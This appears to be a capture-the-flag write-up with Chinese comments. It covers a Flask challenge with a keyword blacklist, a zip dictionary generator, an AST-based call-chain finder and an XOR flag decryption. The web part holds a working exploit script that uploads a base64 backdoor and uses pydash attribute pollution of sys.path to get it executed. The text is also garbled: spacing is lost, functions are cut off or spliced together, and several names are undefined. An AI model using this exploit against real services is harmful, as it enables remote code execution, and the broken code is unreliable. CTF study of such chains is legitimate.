import sys from flask import Flask, request from challenge import challenge import re
app = Flask(__name__)
defcheck(value: str): black_list = ["app", "_static_folder", "pardir", "os", "env", "jinja", "modules", "exported","loader","__spec__"] if re.findall("r'[^\w\.\[\]]'", value): returnFalse else: for i in black_list: if i in value: returnFalse
returnTrue
@app.route("/app/set", methods=["POST"]) defset(): key, value = request.json.get('key'), request.json.get('value')
ifnot key ortype(key) != str: return {"message": "Not key or key must be str"}, 400 iflen(key) > 100: return {"message": "Key may be too long!"}, 400 if value andlen(value) > 20: return {"message": "Value may be too long!"}, 400 ifnot value: game.complete(value) return {"message": "Key set success !"}, 200 iftype(value) != str: return {"message": "Value must be a string!"}, 400
defexploit(): data = "data:image/;base64," + base64.b64encode(shell.encode()).decode() start = int(time.time()) res = requests.post( url=url+"index.php?action=base64&path=backdoor.py/", data=data) end = int(time.time()) for i inrange(start, end+2): print(i) data = { "key": "__init__.__globals__.pydash.helpers.inspect.sys.path[0]", "value": "/tmp/%s/" % (i) } print(data) requests.post(url=url+"app/set",json=data) res = requests.get(url=url+"app/get") if"flag??"notin res.text and res.status_code != 500: print(res.text) break else: print(res.text)
if __name__ == "__main__": exploit()
misc
zip
zip注释:The art of 0 and 1, and it will remain shorter than 9.
生成字典
1 2 3 4 5 6 7 8 9
my_dict = {} for i inrange(1, 10): bin_strings = [bin(j)[2:].zfill(i) for j inrange(2**i)] my_dict[i] = bin_strings for key,value in my_dict.items(): withopen('dic.txt','a+')as f: for i in value: f.write(i+'\n')
# 遍历语法树,获取类和函数名 for node in syntax_tree.body: ifisinstance(node, ast.ClassDef): class_name = node.name class_dict[class_name] = {} for inner_node in node.body: ifisinstance(inner_node, ast.FunctionDef): func_name = inner_node.name class_dict[class_name][func_name] = [] for code in inner_node.body: class_dict[class_name][func_name].append(astor.to_source(code).strip())
# 输出结果
class_keys = [] for func_dict in class_dict.items(): if'os.system'instr(func_dict): sub = func_dict[1][list(func_dict[1].items())[0][0]][0].split('\n')[0].split(' ') if sub[2] == '>': ifint(sub[1]) < int(sub[3][:-1]): continue elif sub[2] == '<': ifint(sub[1]) > int(sub[3][:-1]): continue class_keys.append(func_dict[0])
for key in class_keys: class_key = key func_key = list(class_dict[class_key])[0] list_class = [class_key] flag = 1 flags = 0 while flag != 0and flags == 0: flag = 1 flags = 0 for func_dict in class_dict.items(): for code in func_dict[1].items(): # print(func_dict[1].items(), flag) if class_key in code[1][0] and func_key in code[1][0]: sub = code[1][0].split('\n')[0].split(' ') if sub[2] == '>': ifint(sub[1]) < int(sub[3][:-1]): flag = -1 elif sub[2] == '<': ifint(sub[1]) > int(sub[3][:-1]): flag = -1 flags = 2 func_key = code[0] class_key = func_dict[0] # print(func_key, class_key) # print(func_key, class_key) list_class.append(class_key) # print(list_class) else: # print(flag, flags) if flag == -1: flags = 1 if flags == 2: flags = 0 continue if flag == 1and flags == 0: break # 将完整利用链的类名,去除tree_,o改为0,按照顺序输出成字符串 if flag != -1: for cla in list_class: print(cla[5:].replace('o', '0'), end='') print('')
defencrypt_flag(flag, key): random.seed(key) table = list(range(0, 38)) random.shuffle(table) flag = [flag[i] for i in table] ascii_flag = [ord(c) for c in flag] random.seed(key) xor_key = random.randint(0, 255) encrypted_flag = [c ^ xor_key for c in ascii_flag] return base64.b64encode(bytes(encrypted_flag)).decode("ascii") print(encrypt_flag(flag, key)) # VFVWU1kGBgIMUlMBVFcBBgRRBFAHVFBVUFkbUB0DAQMEBVIGAlE=
# 对加密后的ASCII码列表进行异或运算 decrypted_flag = [c ^ xor_key for c in encrypted_flag]
# 将异或后的ASCII码列表转换成字符列表 flag = ''.join([chr(c) for c in decrypted_flag]) final_flag = [0]*38 for i inrange(0, len(table)): final_flag[table[i]] = flag[i]
# 返回解密后的flag字符串 return''.join(final_flag)
key = "192.168.3.201" text = 'VFVWU1kGBgIMUlMBVFcBBgRRBFAHVFBVUFkbUB0DAQMEBVIGAlE=' flag = decrypt_flag(text, key) print(flag)